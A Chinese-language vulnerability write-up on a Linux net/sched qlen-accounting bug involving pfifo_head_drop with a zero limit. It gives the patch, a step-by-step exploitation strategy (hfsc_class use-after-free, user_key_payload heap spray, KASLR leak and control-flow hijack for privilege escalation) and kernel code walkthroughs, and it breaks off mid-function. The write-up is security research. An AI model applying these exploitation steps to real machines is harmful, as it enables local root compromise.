影响版本 :v2.6.34 57dbb2d83d10引入,影响Linux 6.13.2及以前,6.13.3已修复
测试版本 :Linux-6.6.75 exploit及测试环境下载地址---https://github.com/bsauce/kernel-exploit-factory
作者测试的内核版本是 LTS-6.6.64 / COS-109-17800.372.84。
编译选项 :需要CAP_NET_ADMIN 和 CAP_NET_RAW 权限。
CONFIG_NET_SCHED / CONFIG_NET_SCH_FIFO / CONFIG_NET_SCH_HFSC (hfsc_class) / CONFIG_XFRM (xfrm_policy) / CONFIG_XFRM_USER (NETLINK_XFRM) / CONFIG_DUMMY (需开启dummy网口)
参见net/sched/Makefile,可勾选所有相关选项。
CONFIG_BINFMT_MISC=y (否则启动VM时报错)
在编译时将.config中的CONFIG_E1000和CONFIG_E1000E,变更为=y。参考
c
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.6.75.tar.xz
$ tar -xvf linux-6.6.75.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述 :net/sched模块中,当对某个qdisc(设置其sch->limit == 0)调度器调用pfifo_tail_enqueue()函数时,会使该qdisc的队列长度qlen被错误增加(虽然队列已满,却在没有先丢弃一个packet情况下,直接加入了一个新packet),而父qdisc(调用者)的长度qlen却没有增加,这使得父队列的qlen不等于子队列的qlen之和,可以构造出UAF。
本漏洞和pfifo_head_drop队列类型的特点相关,packet入队时(pfifo_tail_enqueue()函数)先判断长度是否越界(sch->q.qlen < sch->limit),如果越界则先将头部的packet删除(同时Qdisc->q.qlen减1),再将新packet加到尾部,然后将Qdisc->q.qlen加1,最后返回NET_XMIT_CN,总体上qlen大小应该不变。若返回NET_XMIT_SUCCESS,父Qdisc会正常将qlen加1;若返回NET_XMIT_CN,父Qdisc会认为子Qdisc的qlen不增不减,所以不改变qlen。问题是没有考虑sch->limit == 0的情况,此时pfifo_tail_enqueue()会判定越界,子Qdisc的qlen只加1不减1,且返回了NET_XMIT_CN,导致父Qdisc的qlen不变。
其他类型的Qdisc为什么没有这个漏洞?本质是需要构造父Qdisc和子Qdisc的qlen不相等的状态。但其他Qdisc没有这种先丢packet再入队packet,qlen加1并返回NET_XMIT_CN的操作模式。
补丁 :patch
diff
diff --git a/net/sched/sch_fifo.c b/net/sched/sch_fifo.c
index b50b2c2cc09bc6..e6bfd39ff33965 100644
--- a/net/sched/sch_fifo.c
+++ b/net/sched/sch_fifo.c
@@ -40,6 +40,9 @@ static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch,
{
unsigned int prev_backlog;
+ if (unlikely(READ_ONCE(sch->limit) == 0))
+ return qdisc_drop(skb, sch, to_free);
+
if (likely(sch->q.qlen < READ_ONCE(sch->limit)))
return qdisc_enqueue_tail(skb, sch);
保护机制:KASLR/SMEP/SMAP/KPTI
利用总结:
- 利用逻辑漏洞构造UAF原语;
- 利用UAF原语构造heap read原语(喷射
user_key_payload占据UAFhfsc_class); - 利用heap read原语泄露KASLR;
- 利用UAF原语构造代码执行原语;
- 利用代码执行提权。
详细利用步骤:
-
[1] 构造UAF:通过父子Qdisc的qlen包个数值不一致,可以触发两次连续的
eltree_insert()同一class,构造出hfsc_class对象的UAF -kmalloc-1024。悬垂指针是Qdisc_A->privdata->eligible.rb_node,指向hfsc_class中的UAF_rb_node/class_A->el_node。-
1-1\] \[1-2\] 创建 `Qdisc_A -> Qdisc_C`,Qdisc_A 类型为 `hfsc`,Qdisc_C类型为`pfifo_head_drop`并设置 `sch->limit == 0`;
Qdisc_A->q.qlen == 0Qdisc_C->q.qlen == 1
-
1-4\] 删除`Qdisc_C`,将父 Qdisc的 `->q.qlen` 减去待删除的`Qdisc->q.qlen`,此时有 * `Qdisc_A->q.qlen == -1`
-
1-6\] \[1-7\] 创建`Qdisc_B`,类型为 `hfsc`;创建 `Qdisc_C`,类型为`pfifo_head_drop`并设置 `sch->limit == 0`; * 此时的关系为 `class_A ->Qdisc_B -> Qdisc_C`
-
1-9\] 触发packet入队,Qdisc_C加1, QdiscA/Qdisc_B 不变。 * `Qdisc_A->q.qlen == -1` * `Qdisc_B->q.qlen == 0` * `Qdisc_C->q.qlen == 1`
Qdisc_A->q.qlen == -2Qdisc_B->q.qlen == -1
-
1-11\] 创建正常`Qdisc_C`,类型为,设置其`sch->limit == 0xFFFFFFFF` * 此时的关系为 `class_A ->Qdisc_B -> Qdisc_C`
- 通过修改 class_A 触发;
- 触发
update_ed()需满足2个条件:cl->qdisc->q.qlen != 0其中cl = class_A/cl->qdisc = Qdisc_B,且创建和修改class_A时都传入TCA_HFSC_RSC;
-
1-13\] 触发 Flow1: `hfsc_enqueue()` -\> `init_ed()` -\> `eltree_insert()` * 第1次packet入队,`hfsc_enqueue(Qdisc_A)` -\> `hfsc_enqueue(Qdisc_B)` -\> `pfifo_tail_enqueue(Qdisc_C)`,有如下 * `Qdisc_A->q.qlen == -1` * `Qdisc_B->q.qlen == 0` * `Qdisc_C->q.qlen == 1` * 入队后会触发出队,但由于`Qdisc_B->q.qlen == 0`,所以 `hfsc_dequeue(Qdisc_A) -> hfsc_dequeue(Qdisc_B)` 出队到Qdisc_B时会停止,不会继续调用`Qdisc_C->dequeue - qdisc_dequeue_head()`函数,这样就可以保持预期的 `rb_tree` 结构; ```c // class_A->el_node 状态 A->el_node->__rb_parent_color == (0 | RB_BLACK); // A == cl A->el_node->rb_right == NULL; A->el_node->rb_left == NULL; cl->sched->eligible.rb_node == &(A->el_node); ``` * 第2次packet入队,`hfsc_enqueue(Qdisc_A)` -\> `hfsc_enqueue(Qdisc_B)` -\> `pfifo_tail_enqueue(Qdisc_C)`,**满足条件`cl->qdisc->q.qlen == 0` 所以触发执行`init_ed()`(`cl->qdisc = Qdisc_B`)**。有如下 * `Qdisc_A->q.qlen == 0` * `Qdisc_B->q.qlen == 1` * `Qdisc_C->q.qlen == 2` * 入队后会触发出队,但由于`Qdisc_A->q.qlen == 0`,这样执行到`hfsc_dequeue(Qdisc_A)`就提前返回NULL(不会继续调用`hfsc_dequeue(Qdisc_B)` 和 `Qdisc_C->dequeue()`),并保持`rb_tree`结构受控。 ```c // class_A->el_node 状态 A->el_node->__rb_parent_color == &(A->el_node); // A == cl A->el_node->rb_right == NULL; A->el_node->rb_left == &(A->el_node); cl->sched->eligible.rb_node == &(A->el_node); ```
-
-
[2] 构造heap OOB read,泄露内核基址。通过红黑树节点插入原理来篡改
user_key_payload->datalen构造越界读,泄露相邻xfrm_policy对象中的xfrm_policy_timer函数指针。-
2-1\] 触发`hfsc_class`对象的UAF。将包含UAF指针的Qdisc标记为 `Victim_Qdisc` - `Qdisc_A`;------ **`Qdisc_A->privdata` 指向`hfsc_sched`对象,`Qdisc_A->privdata->eligible.rb_node`即为悬垂指针,指向`UAF_rb_node` / `class_A->el_node`**。
-
2-3\] **泄露`hfsc_class - class_B`地址(记为`hfsc_class_leak_address`)** 。创建`class_B`,默认创建`class_B->qdisc` 类型为`pfifo`,通过`Qdisc_A`入队packet到class_B,就会触发`init_ed(class_B)` -\> `eltree_insert(class_B)`。**目的是将`class_B->rb_node`插入到`Qdisc_A->privdata->eligible.rb_node->rb_right` / `class_A->el_node->rb_right`,也即UAF漏洞对象中,以便通过`user_key_payload`泄露`class_B`的堆地址**。 * 入队操作成功后,`Victim_Qdisc->q.qlen == 0`(**原先删除class_A之后该值为-1** )。因此,我们可以在调用Qdisc_A的 `->dequeue()` 时就提前返回NULL,并保持`class_B`对象在tree上。 * 入队调用链:`hfsc_enqueue()` -\> `pfifo_enqueue()` \& `init_ed(class_B)` -\> `eltree_insert(class_B)`
-
删除
class_B,分配user_key_payload占据class_B。此时Victim_Qdisc->q.qlen == -1。 -
释放
user_key_payload_A,喷射user_key_payload,伪造UAF_rb_node->rb_left == hfsc_class_leak_address + sizeof(struct user_key_payload) - 8,也即指向(fake_hfsc_class_backed_by_user_key_payload_B->datalen)。 -
目前
UAF_rb_node的值如下:cUAF_rb_node->__rb_parent_color == NULL | RB_BLACK; UAF_rb_node->rb_right == NULL; UAF_rb_node->rb_left == hfsc_class_leak_address + sizeof(struct user_key_payload) - 8; // 这里表示 &(fake_hfsc_class_backed_by_user_key_payload_B->datalen) 的地址 由于datalen值为0x200,最低位为0,所以视为RB_RED节点。 UAF_hfsc_class->cl_e == 0;
-
-
2-5\] 往`UAF_rb_node->rb_right`添加node - class_C,添加class_C,使得`UAF_hfsc_class->el_node->rb_right = class_C->el_node`。 * 创建class_C - `hfsc_class`,`class_C->qdisc`指向了一个默认的`pfifo` qdisc。 * 通过Qdisc_A入队packet,触发`init_ed(class_C)` -\> `eltree_insert(class_C)`,则将class_C插入到`UAF_rb_node->rb_right`。 * 此时`Victim_Qdisc->q.qlen == 0`,packet出队时`hfsc_dequeue()`提前返回,不会继续删除node tree上的`class_C`。 * 目前`UAF_rb_node`的值如下: ```c UAF_rb_node->__rb_parent_color == NULL | RB_BLACK; UAF_rb_node->rb_right == &(class_C->el_node); UAF_rb_node->rb_left == &(fake_hfsc_class_backed_by_user_key_payload_B->datalen); ```
-
2-8\] 触发`&(hfsc_class_backed_by_user_key_payload_B->datalen)` 覆写。目标是覆写 `user_key_payload_B->datalen` 构造越界读,触发`__rb_insert()`函数修改 `rb->__rb_parent_color`(实际修改了`user_key_payload_B->datalen`)。 * 创建`class_D` - `hfsc_class`(设置`HFSC_FSC` flag); * 创建`Qdisc_C`,类型为`pfifo_head_drop`,设置`sch->limit == 0`,关系为 `Qdisc_A -> class_D -> Qdisc_C`。 * 通过`Qdisc_A`往`class_C`进行packet入队,触发逻辑漏洞,以保持`Victim_Qdisc->q.qlen == 0`,并构造`class_D->qdisc->q.len = 1`(也即`Qdisc_C->q.qlen == 1`,是触发`init_ed()` - `class_D`加入到红黑树的重要条件)。 * 触发datalen覆写:本质是通过触发`class_D`加入到红黑树rb_tree。触发`hfsc_change_class(class_D)` -\> `init_ed(class_D)` -\> `eltree_insert()` -\> `rb_link_node()` -\> `rb_insert_color()` -\> `__rb_insert()`。 * 参见` 3-4`红黑树节点插入的原理。 ```c /* rb_tree 结构如下所示 {1} UAF_rb_node / \ {2} user_key_payload_B+0x10 {3} class_C \ {4} class_D 由于父节点是祖父的右儿子,父红叔叔红,走第[5]条路 → 父叔染黑,祖父染红,继续向上处理。 原本是将 叔叔->__rb_parent_color = 祖父 | RB_BLACK 结果却是 *(user_key_payload_B+0x10) = p | 1, 错误将 user_key_payload_B->datalen 篡改为一个非常大的指针,导致越界读 */ ```
-
-
[3] 劫持控制流。伪造
UAF_hfsc_class->dequeue函数指针,通过packet入队之后的出队,触发hfsc_dequeue()->qdisc_dequeue_peeked()->sch->dequeue()劫持控制流,RDI寄存器可控。-
3-1\] 触发UAF。
-
3-3\] 泄露`hfsc_class - class_B`对象的堆地址。
-
3-7\] 释放`user_key_payload_A`,堆喷`user_key_payload`,使得`UAF_hfsc_class->qdisc`指向第4步准备的`fake Qdisc`。
- 触发控制流劫持:
- 第1次packet入队,使得
Victim_Qdisc->q.qlen == 0,这样hfsc_dequeue()会提前返回。 - 第2次packet入队,使得
Victim_Qdisc->q.qlen == 1,这样hfsc_dequeue()会触发cl->qdisc->dequeue()控制流劫持。 - 需满足两个条件:
Qdisc_A / Victim_qdisc->q.qlen != 0Qdisc->gso_skb.next = &Qdisc->gso_skb
- 第1次packet入队,使得
-
1. net-sched模块介绍
1-1. 概念
简介 :net/sched 是 Linux 内核中流量控制(Traffic Control)子系统的核心模块,它提供了强大的网络数据包调度Scheduling(egress发包顺序)、整形Shapping(egress发包限速)、策略执行功能Policing(ingress收包,延迟或丢弃)、过滤Dropping(丢弃数据包,出入两个方向) 。iproute2软件包中的tc程序提供了用户态的规则配置工具。
- qdisc(排队规则) :决定数据包如何在网络接口上排队等待传输的规则。不同类型的 qdisc 实现了不同的排队和传输策略,例如 FIFO、优先级队列、令牌桶等。两个回调接口
enqueue/dequeue函数用于数据包入队和出队。不同的qdisc实现可参见net/sched/sch_*代码。 - class(类别):用于将流量分组,以便应用不同的流量控制策略(qdisc)。
- classifier(也称为filter):根据特定的规则将流量分类到不同的组(class)。
- action(动作) :要对数据包执行什么动作,例如允许数据包通过(pass)、丢弃数据包(drop)、重新分类(reclassify)等。支持的action类别如下:
- TC_ACT_OK:允许数据包通过并继续处理。
- TC_ACT_SHOT:丢弃数据包。
- TC_ACT_RECLASSIFY:将数据包重新分类,再次应用分类规则。
- TC_ACT_PIPE:将数据包传递给链中的下一个元素。
标识符 :qdisc和class的标识符叫做handle,它是一个32位的整数,分为major和minor两部分,各占16位,表达方式为m:n,m或n省略时,表示0。
- m:0一般表示qdisc;对于class,minor一般从1开始,而m使用它所挂载的qdisc的major号。
- root qdisc的handle一般使用1:0表示,ingress一般使用ffff:0表示。
关系:
- qdisc需要attach到网络接口上,一个网络接口可以有多个qdisc。
- class和filter都需要attach到qdisc上。
- action需与filter关联,即给filter添加action。在某些情况下,过滤器可以直接返回一个动作码(action),而不是一个类别 ID(classid)。
流量路径 :对于树形结构的qdisc, 当数据包到达最顶层qdisc时,会层层向下递归进行调用。如,父对象(qdisc/class)的enqueue回调接口被调用时,其上所挂载的所有filter依次被调用,直到一个filter匹配成功。然后将数据包入队到filter所指向的class(或者执行该filter所挂载的action),packet入队具体实现则是调用class->qdisc->enqueue函数。没有成功匹配filter的数据包分类到默认的class中。
- 流量首先到达网络接口,例如 eth0。
- 流量通过过滤器(filter/classifier),将流量分发到不同的class。如果这个filter有action,则直接执行action,如丢弃、放行等,不需要将流量发送到 qdisc。
- 根据过滤器的匹配结果,流量被分配到相应的qdisc。
- 经过 qdisc 处理后,数据包将按照配置的规则被发送到网络。

流量队列类型:
- FIFO 队列 :先入先出,不考虑流量分类;参见
net/sched/sch_fifo.c - PFIFO_FAST 队列:FIFO 队列的改进版本,支持流量分类;
- SFQ 队列:随机公平队列,对所有 IP Packets 都一视同仁,随机分配;
- 令牌桶队列(Token Bucket) :分为TBF(Token Bucket Filter,令牌桶过滤器)队列,HTB(Hierarchical Token Bucket,分层令牌桶)队列。网络流量比较恒定的场景中适合使用较小的令牌桶,而经常有突发流量的网络则适合使用大的令牌桶。
- (1)一个固定容量的 Bucket(桶)装着一定数量的 Tokens(令牌),Bucket 会以一定的 Rate(速率)生产 Tokens,直到装满。即:Bucket 的容量即 Tokens 数量的上限。
- (2)一个 Packet 对应一个 Token,进入到 Queue 中的 Packet 只有从 Bucket 中获得了 Token 之后才可以 DEQUEUE。
- (3)Bucket 通过控制 Token 生成的 Rate,从而控制 Packet 出队的 Rate。
- (4)当没有 Packet 要出队时,Bucket 中的 Tokens 会累积起来,以应对一定程度的 Burst(突发)流量,突发时长 = 令牌桶容量 / (发送速率 - 令牌补充速率)。
1-2. 示例
示例树形结构:

对应tc命令:

示例命令 :如何使用tc命令实现把来自某个ip(本机ip xx.yy.zz.kk)发往某个ip(远程ip 31.13.68.169)的流量做丢包处理?
-
给enp1s0网络接口添加(attach)一个qdisc(流量整形规则)
bash$ tc qdisc add dev enp1s0 root handle 1: htbtc qdisc add命令用于添加一个qdisc,对应的还有tc qdisc del。dev enp1s0指定了要添加qdisc的网络设备接口,这里网络设备接口是enp1s0。root表示将要添加的 qdisc 作为指定网络设备的根qdisc,根qdisc是网络接口上的第一个qdisc,所有通过该接口的流量都会首先经过它。handle 1可以理解为给这个qdisc指定一个id。为这个qdisc分配一个句柄(handle),在本例中是1:,句柄是qdisc在网络设备上的唯一标识符。qdisc和filter、class的id通常采用major:minor的格式,major和minor可以是任意的数字,但应该是唯一的。举个例子,假设qdisc的id为99:,class可以是99:10,filter可以是99:11。htb:htb是Hierarchical Token Bucket,一个分层令牌桶 qdisc。
-
创建一个filter并关联drop这个action,将这个filter添加(attach)到我们创建的qdisc。filter关联drop action后,是不需要将流量分派到某个class的,所以我们并没有创建class
bash$ tc filter add dev enp1s0 protocol ip parent 1: prio 1 u32 match ip src xx.yy.zz.kk/32 match ip dst 31.13.68.169/32 action droptc filter add命令用于添加一个filter,对应的还有tc filter del。dev enp1s0同tc qdisc add命令,指定网络设备接口,这里网络设备接口是enp1s0。protocol ip指定要匹配的协议为 IP协议。parent 1:指定父 qdisc 的句柄,这里根 qdisc 的句柄是 1:。prio 1:设置过滤器的优先级。u32:指定使用 u32 匹配规则。match ip src xx.yy.zz.kk/32:匹配源 IP 地址为xx.yy.zz.kk的数据包。/32表示精确匹配该 IP 地址。match ip dst 31.13.68.169/32:匹配目的 IP 地址为31.13.68.169的数据包。action drop对匹配的数据包执行丢包动作。
1-3. 代码分析
(1)功能函数入口&初始化
主要功能 :RTM_NEWQDISC / RTM_DELQDISC / RTM_GETQDISC / RTM_NEWTCLASS / RTM_DELTCLASS / RTM_GETTCLASS
初始化示例-Qdisc操作表对象 :pktsched_init() -> register_qdisc,初始化后将操作表存入 struct Qdisc_ops *qdisc_base 全局链表中。
c
// net/sched/sch_api.c
static int __init pktsched_init(void)
{
int err;
err = register_pernet_subsys(&psched_net_ops);
if (err) {
pr_err("pktsched_init: "
"cannot initialize per netns operations\n");
return err;
}
register_qdisc(&pfifo_fast_ops); // 函数调用表 - 通过网络发包触发。register_qdisc() 将该结构存入 `struct Qdisc_ops *qdisc_base` 全局链表中
register_qdisc(&pfifo_qdisc_ops);
register_qdisc(&bfifo_qdisc_ops);
register_qdisc(&pfifo_head_drop_qdisc_ops);
register_qdisc(&mq_qdisc_ops);
register_qdisc(&noqueue_qdisc_ops);
rtnl_register(PF_UNSPEC, RTM_NEWQDISC, tc_modify_qdisc, NULL, 0); // 注册用户接口配置函数
rtnl_register(PF_UNSPEC, RTM_DELQDISC, tc_get_qdisc, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_GETQDISC, tc_get_qdisc, tc_dump_qdisc,
0);
rtnl_register(PF_UNSPEC, RTM_NEWTCLASS, tc_ctl_tclass, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_DELTCLASS, tc_ctl_tclass, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_GETTCLASS, tc_ctl_tclass, tc_dump_tclass,
0);
tc_wrapper_init();
return 0;
}
// rtnl_register() -> rtnl_register_internal()
// 注册过程:从rtnl_msg_handlers[] 数组中根据 protocol 类型找到对应的 rtnl_link 数组,然后将 doit 函数 tc_modify_qdisc() 赋值给 link->doit
subsys_initcall(pktsched_init);
static struct Qdisc_ops *qdisc_base;
// 首次注册 Qdisc_ops 时,enqueue/peek/dequeue 会被赋值为 noop_qdisc_ops 操作,在open时才会被修改,最后存入 qdisc_base 全局链表中
int register_qdisc(struct Qdisc_ops *qops)
{
struct Qdisc_ops *q, **qp;
int rc = -EEXIST;
write_lock(&qdisc_mod_lock);
for (qp = &qdisc_base; (q = *qp) != NULL; qp = &q->next)
if (!strcmp(qops->id, q->id))
goto out;
if (qops->enqueue == NULL)
qops->enqueue = noop_qdisc_ops.enqueue;
if (qops->peek == NULL) {
if (qops->dequeue == NULL)
qops->peek = noop_qdisc_ops.peek;
else
goto out_einval;
}
if (qops->dequeue == NULL)
qops->dequeue = noop_qdisc_ops.dequeue;
if (qops->cl_ops) {
const struct Qdisc_class_ops *cops = qops->cl_ops;
if (!(cops->find && cops->walk && cops->leaf))
goto out_einval;
if (cops->tcf_block && !(cops->bind_tcf && cops->unbind_tcf))
goto out_einval;
}
qops->next = NULL;
*qp = qops;
rc = 0;
out:
write_unlock(&qdisc_mod_lock);
return rc;
out_einval:
rc = -EINVAL;
goto out;
}
EXPORT_SYMBOL(register_qdisc);
(2)Qdisc创建-hfsc
用户调用 :RTM_NEWQDISC
c
// 用户代码示例
struct tc_hfsc_qopt hfsc_qopt_A = { .defcls = 0 };
void create_hfsc_qdisc(
struct mnl_socket *route_socket,
int ifindex,
u32 tcm_parent, // TC_H_ROOT
u32 tcm_handle, // 0xaaaa0000
const struct tc_hfsc_qopt *qopt
)
{ // tc_modify_qdisc() - 对应内核处理函数,需构造: nlmsghdr + tcmsg + nlattr + tc_hfsc_qopt { .defcls = 0 }
u32 seq = time(NULL);
u8 buf[8192] = {};
struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
nlh->nlmsg_type = RTM_NEWQDISC; // RTM_NEWQDISC 操作码
nlh->nlmsg_seq = seq;
nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_CREATE;
struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm)); // tcmsg - Traffic control messages
tcm->tcm_ifindex = ifindex;
tcm->tcm_parent = tcm_parent; // 父handle
tcm->tcm_handle = tcm_handle;
mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); // TCA_KIND = hfsc Qdisc类型
mnl_attr_put(nlh, TCA_OPTIONS, sizeof(*qopt), qopt);
Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
int ret = validate_mnl_socket_operation_success(route_socket, seq);
}
内核trace:
SYSCALL_DEFINE4-sendto->__sys_sendto()->__sock_sendmsg()->sock_sendmsg_nosec()->sock->ops->sendmsg-netlink_sendmsg()->netlink_unicast()->netlink_unicast_kernel()->nlk->netlink_rcv-rtnetlink_rcv()->netlink_rcv_skb()->rtnetlink_rcv_msg()link->doit-tc_modify_qdisc()tc_modify_qdisc()->qdisc_create()->qdisc_alloc()&hfsc_init_qdisc()tc_modify_qdisc()->qdisc_graft()->hfsc_search_class()&hfsc_graft_class()->qdisc_replace()
关键代码总结:
tc_modify_qdisc()[1] qdisc_create()- 创建Qdisc并初始化,自动创建对应的root class -Qdisc->privdata->root-hfsc_class类型,root class后自动创建"pfifo"-pfifo_qdisc_ops类型的Qdisc -Qdisc->privdata->root.qdisc[2] qdisc_graft()- 将parent Qdisc的class后面连上新创建的 Qdisc,cl->qdisc = new Qdisc
注意:
- 不同类型的Qdisc都有自己的
struct Qdisc_ops结构定义,其中包含关键的函数定义,例如enqueue/dequeue。可通过搜索struct Qdisc_ops来查找所有的队列处理模式,代码位于net/sched/sch_*。 - 不同的class有不同的
struct Qdisc_class_op结构定义。
c
static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
struct net *net = sock_net(skb->sk);
struct tcmsg *tcm;
struct nlattr *tca[TCA_MAX + 1];
struct net_device *dev;
u32 clid;
struct Qdisc *q, *p;
int err;
...
q = qdisc_create(dev, dev_queue, // [1] <--- qdisc_create()
tcm->tcm_parent, tcm->tcm_handle,
tca, &err, extack);
...
err = qdisc_graft(dev, p, skb, n, clid, q, NULL, extack); // [2] p = parent Qdisc; q = new child Qdisc // 这里若分配的是第一个 Qdisc, 则 parent_handle = TC_H_ROOT => p = NULL; 若分配的是第2个Qdisc,parent_handle != TC_H_ROOT => p = Qdisc_parent
...
}
// [1] qdisc_create() - 创建Qdisc
static struct Qdisc *qdisc_create(struct net_device *dev,
struct netdev_queue *dev_queue,
u32 parent, u32 handle,
struct nlattr **tca, int *errp,
struct netlink_ext_ack *extack)
{
int err;
struct nlattr *kind = tca[TCA_KIND];
struct Qdisc *sch;
struct Qdisc_ops *ops;
struct qdisc_size_table *stab;
ops = qdisc_lookup_ops(kind); // "hfsc" / "pfifo_head_drop" 所以搜索 `struct Qdisc_ops` 可以看出有多少种
...
sch = qdisc_alloc(dev_queue, ops, extack); // [1-1] 分配Qdisc
...
sch->parent = parent; // tcm->tcm_parent
sch->handle = handle; // tcm->tcm_handle
...
if (ops->init) {
err = ops->init(sch, tca[TCA_OPTIONS], extack); // [1-2] 本exp中 hfsc - hfsc_qdisc_ops - hfsc_init_qdisc() 会自动创建对应的 hfsc_class
if (err != 0)
goto err_out4;
}
...
qdisc_hash_add(sch, false);
...
}
// [1-1]
struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
const struct Qdisc_ops *ops,
struct netlink_ext_ack *extack)
{
struct Qdisc *sch;
unsigned int size = sizeof(*sch) + ops->priv_size;
...
dev = dev_queue->dev;
sch = kzalloc_node(size, GFP_KERNEL, netdev_queue_numa_node_read(dev_queue));
...
sch->ops = ops; // Qdisc 对象的回调函数初始化 - 来自预先定义的 `struct Qdisc_ops`
sch->flags = ops->static_flags;
sch->enqueue = ops->enqueue;
sch->dequeue = ops->dequeue;
sch->dev_queue = dev_queue;
...
}
static struct Qdisc_ops hfsc_qdisc_ops __read_mostly = {
.id = "hfsc",
.init = hfsc_init_qdisc,
.change = hfsc_change_qdisc,
.reset = hfsc_reset_qdisc,
.destroy = hfsc_destroy_qdisc,
.dump = hfsc_dump_qdisc,
.enqueue = hfsc_enqueue,
.dequeue = hfsc_dequeue,
.peek = qdisc_peek_dequeued,
.cl_ops = &hfsc_class_ops,
.priv_size = sizeof(struct hfsc_sched),
.owner = THIS_MODULE
};
// [1-2] hfsc_init_qdisc() - 第一个 Qdisc 自动创建 hfsc_class, hfsc_class.qdisc 为自动创建的类型为 pfifo_qdisc_ops 的 Qdisc
static int
hfsc_init_qdisc(struct Qdisc *sch, struct nlattr *opt,
struct netlink_ext_ack *extack)
{
struct hfsc_sched *q = qdisc_priv(sch); // q->privdata 指向 hfsc_sched
struct tc_hfsc_qopt *qopt;
int err;
...
qopt = nla_data(opt);
q->defcls = qopt->defcls;
...
q->eligible = RB_ROOT;
...
q->root.cl_common.classid = sch->handle; // 第1个Qdisc, 自动创建和初始化 sch->privdata->root (hfsc_class对象)
q->root.sched = q;
q->root.qdisc = qdisc_create_dflt(sch->dev_queue, &pfifo_qdisc_ops, // hfsc_class.qdisc = pfifo_qdisc_ops class后面自动创建pfifo_qdisc_ops类型的Qdisc
sch->handle, NULL);
if (q->root.qdisc == NULL)
q->root.qdisc = &noop_qdisc;
else
qdisc_hash_add(q->root.qdisc, true);
INIT_LIST_HEAD(&q->root.children);
q->root.vt_tree = RB_ROOT;
q->root.cf_tree = RB_ROOT;
qdisc_class_hash_insert(&q->clhash, &q->root.cl_common);
qdisc_class_hash_grow(sch, &q->clhash);
return 0;
}
struct hfsc_sched {
u16 defcls; /* default class id */
struct hfsc_class root; /* root class */ // <--- hfsc_class
struct Qdisc_class_hash clhash; /* class hash */
struct rb_root eligible; /* eligible tree */
struct qdisc_watchdog watchdog; /* watchdog timer */
};
// [2] qdisc_graft() - 将新建的 new Qdisc 添加到 Qdisc_parent 中去
static int qdisc_graft(struct net_device *dev, struct Qdisc *parent,
struct sk_buff *skb, struct nlmsghdr *n, u32 classid,
struct Qdisc *new, struct Qdisc *old,
struct netlink_ext_ack *extack)
{
struct Qdisc *q = old;
struct net *net = dev_net(dev);
if (parent == NULL) { // 第1个Qdisc,没有parent
...
} else {
const struct Qdisc_class_ops *cops = parent->ops->cl_ops; // 第2个Qdisc, cops = hfsc_class_ops,
unsigned long cl;
int err;
...
cl = cops->find(parent, classid); // [2-1] hfsc_search_class() - 找到 Qdisc 相连的id为 classid 的 hfsc_class
...
err = cops->graft(parent, cl, new, &old, extack); // [2-2] hfsc_graft_class() hfsc_class cl->qdisc = new Qdisc 将parent Qdisc的class后面连上新创建的 Qdisc
if (err)
return err;
notify_and_destroy(net, skb, n, classid, old, new, extack);
}
return 0;
}
static const struct Qdisc_class_ops hfsc_class_ops = {
.change = hfsc_change_class,
.delete = hfsc_delete_class,
.graft = hfsc_graft_class, // <---
.leaf = hfsc_class_leaf,
.qlen_notify = hfsc_qlen_notify,
.find = hfsc_search_class, // <---
.bind_tcf = hfsc_bind_tcf,
.unbind_tcf = hfsc_unbind_tcf,
.tcf_block = hfsc_tcf_block,
.dump = hfsc_dump_class,
.dump_stats = hfsc_dump_class_stats,
.walk = hfsc_walk
};
// [2-2] hfsc_graft_class() - hfsc_class cl->qdisc = new Qdisc
static int
hfsc_graft_class(struct Qdisc *sch, unsigned long arg, struct Qdisc *new,
struct Qdisc **old, struct netlink_ext_ack *extack)
{
struct hfsc_class *cl = (struct hfsc_class *)arg;
...
*old = qdisc_replace(sch, new, &cl->qdisc); // [3] cl->qdisc = new
return 0;
}
// [3]
static inline struct Qdisc *qdisc_replace(struct Qdisc *sch, struct Qdisc *new,
struct Qdisc **pold)
{
struct Qdisc *old;
sch_tree_lock(sch);
old = *pold;
*pold = new;
if (old != NULL) //
qdisc_purge_queue(old); // 若原先 cl->qdisc 存在一个 Qdisc,则删除原先的 Qdisc
sch_tree_unlock(sch);
return old;
}
(3)Qdisc创建-pfifo_head_drop
调用链:和hfsc Qdisc分配一样,不同点是Qdisc初始化函数是fifo_hd_init()。
SYSCALL_DEFINE4-sendto->__sys_sendto()->__sock_sendmsg()->sock_sendmsg_nosec()->sock->ops->sendmsg-netlink_sendmsg()->netlink_unicast()->netlink_unicast_kernel()->nlk->netlink_rcv-rtnetlink_rcv()->netlink_rcv_skb()->rtnetlink_rcv_msg()link->doit-tc_modify_qdisc()tc_modify_qdisc()->qdisc_create()->qdisc_alloc()& **fifo_hd_init()**tc_modify_qdisc()->qdisc_graft()->hfsc_search_class()&hfsc_graft_class()->qdisc_replace()
c
struct Qdisc_ops pfifo_head_drop_qdisc_ops __read_mostly = {
.id = "pfifo_head_drop",
.priv_size = 0,
.enqueue = pfifo_tail_enqueue,
.dequeue = qdisc_dequeue_head,
.peek = qdisc_peek_head,
.init = fifo_hd_init,
.reset = qdisc_reset_queue,
.change = fifo_hd_init,
.dump = fifo_hd_dump,
.owner = THIS_MODULE,
};
// qdisc_create() -> fifo_hd_init()
static int fifo_hd_init(struct Qdisc *sch, struct nlattr *opt,
struct netlink_ext_ack *extack)
{
return __fifo_init(sch, opt, extack);
}
static int __fifo_init(struct Qdisc *sch, struct nlattr *opt,
struct netlink_ext_ack *extack)
{
bool bypass;
bool is_bfifo = sch->ops == &bfifo_qdisc_ops;
...
